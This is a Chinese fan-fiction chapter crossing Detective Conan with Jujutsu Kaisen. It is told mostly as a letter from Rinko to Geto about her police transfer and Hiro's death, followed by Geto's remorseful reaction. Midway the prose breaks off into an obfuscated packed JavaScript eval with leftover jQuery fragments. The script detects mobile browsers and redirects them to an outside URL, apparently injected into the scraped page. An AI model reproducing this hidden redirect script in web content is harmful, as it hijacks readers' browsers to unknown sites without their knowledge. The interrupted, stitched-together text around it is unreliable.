---
许久未见。
上次相见应该是好几年前了?对我来说。
最开始有在恼怒:这么简单的问题需要花那么长时间来思考吗?
接着是向上翻滚:换任何一个国小生都要比这家伙机灵吧。
再后来是到达顶峰:爱回不回。
顶峰后面是泄气:不会被什么事情给耽搁了吧?可不要出什么意外啊。
最后在读过许多科幻作品后,我才后知后觉意识到,或许我们之间的世界,时间流速不一定恒定。
不是总有那么一句说法么,“天上一天,人间一年。”虽然天堂大概率不会有咒灵这种东西存在就是了。
当然,我写这封信并不是催促,请你慢慢来吧,那个答案。
只是,我好像实在找不到人来倾诉了。
从上封信递出到现在,中间实在发生了太多事情,让我一一道来吧。
之前说过,在成功解决威胁阵平和hagi的炸弹犯后,我一直想要转岗到公安对吧?终于在坚持递交申请的第三年,上司终于忍受不了成箱的申请届被堆在自己的办公室,我得以如愿以偿。
只不过我没想到,山的后面并不一定是康庄大道,也有可能还是连绵的群山。
两个完全不同的职能部门,各自侧重的方向自然也不一样,因此转岗后需要重新学习一遍公安专项培训,以及带教见习和轮岗工作等。
完全是在把新人入职流程给重新走一遍啊。
公安部和警备部同属于警视厅的好处是,之前的在职评定可以直接衔接过来,而这也是最大的坏处。
负责岗位分配的那家伙直接按照之前的相关经验给我分配到了反恐部门,负责涉恐暴案件的现场安全管控,任凭我怎么磨破嘴皮都不能通融。
这种吃硬不吃软的家伙最难对付了啊。
兜兜转转,结果自己最后还是在做着和上辈子差不多内容的工作。
近到触手可及,却又远在天边。
NOC的信息都会被封存起来,只有直接接触的核心部门才有机会获知。这也是我在用公安内部电脑搜寻无果后才知道的。
发给hiro和zero的讯息回复频率断崖式下跌,已经从立即回复,到现在已读不回,甚至未读状态了。
多半已经是下次路上偶遇但要装作不认识的状态了。
应该没问题的吧?在我的旁敲侧击提醒下。
直接的提醒无法被任何表达形式传递出去,仿佛有无形的壁垒在暗暗阻挠着我的行动。我所能做的也只有留下语焉不详的片段,包装成御神籤留给他俩。
尽管早有听闻,但到亲身经历的时候还是难以招架。
本以为爆破组的强度已是数一数二了,没想到公安略胜一筹。
整个部门只有我一位女性存在,这或许已经是一种预兆了。推上最近很流行这样一段文字:“高强度的部门精神就是把女人当男人用,把男人当牲口用。”至少桌上的咖啡空罐还能成为我加班过的证明。
如此,我被繁重的工作困在这里,怀抱着侥幸生活着,直到那天。
加班坏,加班后只有一天休假很坏,加班到第二天清晨等于休假变成请假更是坏。
“据说这附近有家喫茶店的咖啡很好喝哦。”擦肩而过的阿姨们在讨论该去哪里进行主妇聚会。
已经好久没有纯粹地享受过咖啡的风味了。
上一次还是......上一次。
跟去看看吧,既然已经失去了睡到自然醒的疗愈机会。
叮铃——
门铃被敲响。
“欢迎光临,请问客人几位?是一起到来的......么。”
熟悉的声音,熟悉的金发,熟悉的,一个人。
错愕的神情从那人脸上一闪而过,我这才发现,自己走进的店竟是初营业没多久的波罗咖啡厅。
店里只有欧巴桑们热切讨论的声音,话题不外乎丈夫、孩子、婆婆、公公。
我有许多想要问他:现在到哪个阶段了?多少回一下讯息吧?喂喂hiro那家伙怎么上班还会迟到啊,这样可是会被老板扣绩效工资的......
"客人,您点的咖啡,以及本店特别赠送的三明治。"zero...不,安室透意外得很适合扮演这样的角色。
他另一只手偷偷从桌底塞了样物件给我,像是美国绅士故作感谢地用握手来帅气给小费那样。
不会是新的联络方式吧?哈哈你这金发混蛋可真会戏弄老伙伴。
只一眼,便击碎了我因为咖啡美妙香气而些微恢复的心情。
那是被揉成团的餐巾纸,上面用慌乱潦草的字迹写着:
“对不起,”
hiro死了。——这是他未尽的话语。
人生最大的错误,往往就是由侥幸引诱我们犯下的,当我们犯下不可饶恕、无从宽释的错误之后,侥幸隐匿得无影无踪。*
我记不清自己那天是如何走出波罗咖啡厅的,多半只差把失魂落魄写在脸上了,以至于zero那家伙追出来拦住我时才发现自己遗漏了手包。
我们沉默地在来往的通勤人流间交接物品,像完成一场哀悼的街头仪式。
“请您多保重身体,不要让自己太过劳累。”他留下这句话后便匆匆离去。
在那之后我一口气休掉了所有的年假,每天只负责满足自己的生理需求,剩余时间用来思考和自责。
只有亲身经历才会知道那种挫败感吧?如同一层一层打湿的棉巾倾覆在面上,盖住一切过往的努力,和自己的呼吸。只想躲在被子里,躲回绝对安全的结界,不探出任何叫恶魔有可乘之机。
最后还是被联络不上我的hagi和阵平破门而入,才知道自己已经在家待了许久,久到超出年假变成调休。
保持了这样浑浑噩噩的生活许久,直到某次无意间误入了书店举办的作者签售会,在场是位科幻小说作家。当时完全对科幻虚构类题材不感兴趣的我并不准备加入这场分享,却不想被老师的一句话给震愣在了原地:“未来的事情,谁也不知道。正因为如此,就如同再次相见本身,未来才有无限的可能。”*
回过神来的时候,手上已经捧着老师to签的最新书了。
小圆是不是早就料到了会有这种情况发生?会被一点点成功的喜悦冲昏头脑,开始得意洋洋翘起尾巴,抱着侥幸心理开始应付,等到栽个大跟头后才发现自己错过了什么,祈求重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096530|195633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新开始。
打rpg游戏的时候总会这样吧?挑战前存档,打不过最终boss就读档重来,有多少格子就会填满多少个存档。但如果没有重开机会的话,反倒会更加珍惜,做足准备确保胜率后再去挑战。
虽然我也很想赶紧读档重开,但这样二周目就变成坏档了,我还有未尽的任务。
伊达班长仍然有生命危险,在这条时间线的将来。
本已做好共度一生准备的爱人悲痛欲绝,在得知死讯后的当天随他而去,最后留下一桩误会再由他人将旧事重提。
这次由我来制止吧,本不应该发生的意外。
剩下的时间我会将功补过,尝试着多收集些资料来为其他周目做准备,比如:zero他在这一周目仍然选择在波罗当服务生的原因,以及hiro的死因。
虽然没法当面和你说,但是实在抱歉zero,接下来的日子我将要经常来叨扰了。
。
怎么样,杰?在读到这里的时候,你是不是也在嘲笑着我的大意呢?
这个游刃有余、摆出长辈模样教训人的年上者,在安逸中失去了警惕,随着年岁增长心智越发像个孩童了。
如果要嘲弄的话还请放在心里吧,我可再经不起任何敲打了。
还请不要因为安慰而回信,那样的话,我大概也会分不清你是出于关心,还是出于礼貌。
就先这样吧。
回见。
清和凛子
---
...
「不是的。」
「不是那样的。」
「我没有半点要嘲笑你的想法。」
夏油杰在心中无声呐喊。
因为置气产生的别扭在读完来信后消失得无影无踪,取而代之的是无尽的懊恼与悔恨。
他并没有意识到世界之间会存在流速差异,陷在抹不开面子的情绪漩涡中月半之久。本想着晾一晾傲慢的成年人好叫双方都有个缓冲,却不想这对凛子来说已经是几轮四季流转。
这不是他预想的发展。
他本以为是少女回过神来的道歉,好让他重新缩回安全的壳中,等到做足了准备再探出触角。
确实对方给足了安全气囊,只不过这次,她不再守在跟前等待,而是抽身向前了。
他羞愧难当,愧于对方给自己顺势而下的台阶,愧于那番对‘交浅言深’关系的尊重,愧于对方被时间长河率先带走后仍然抱有的信任。
明明换个对象也一样吧?找个无人的树洞尖叫,写下所有再将纸团吞入腹中,不是都和沉默的他没有差别么。
既然已经向前,为什么又回过头来呢?
少年被这般炽热的情感炙烤得如坠阿鼻地狱。烈火扑面而来,打在脸上的却是冰冷的河水——那是她曾经踏入这片河流留下的幻影,而他抓住的永远只是羽衣的一角。*
「她不再等我了。」
杰清晰认识到这一点。
「如果我什么都不做,一切就到此结束了。」
他没有任何时候像此刻一样,试图将自己的心剖出捧到对方面前,让她看清外表那层不是他的本意。
就算陷入自证陷阱也好。
现在,立刻。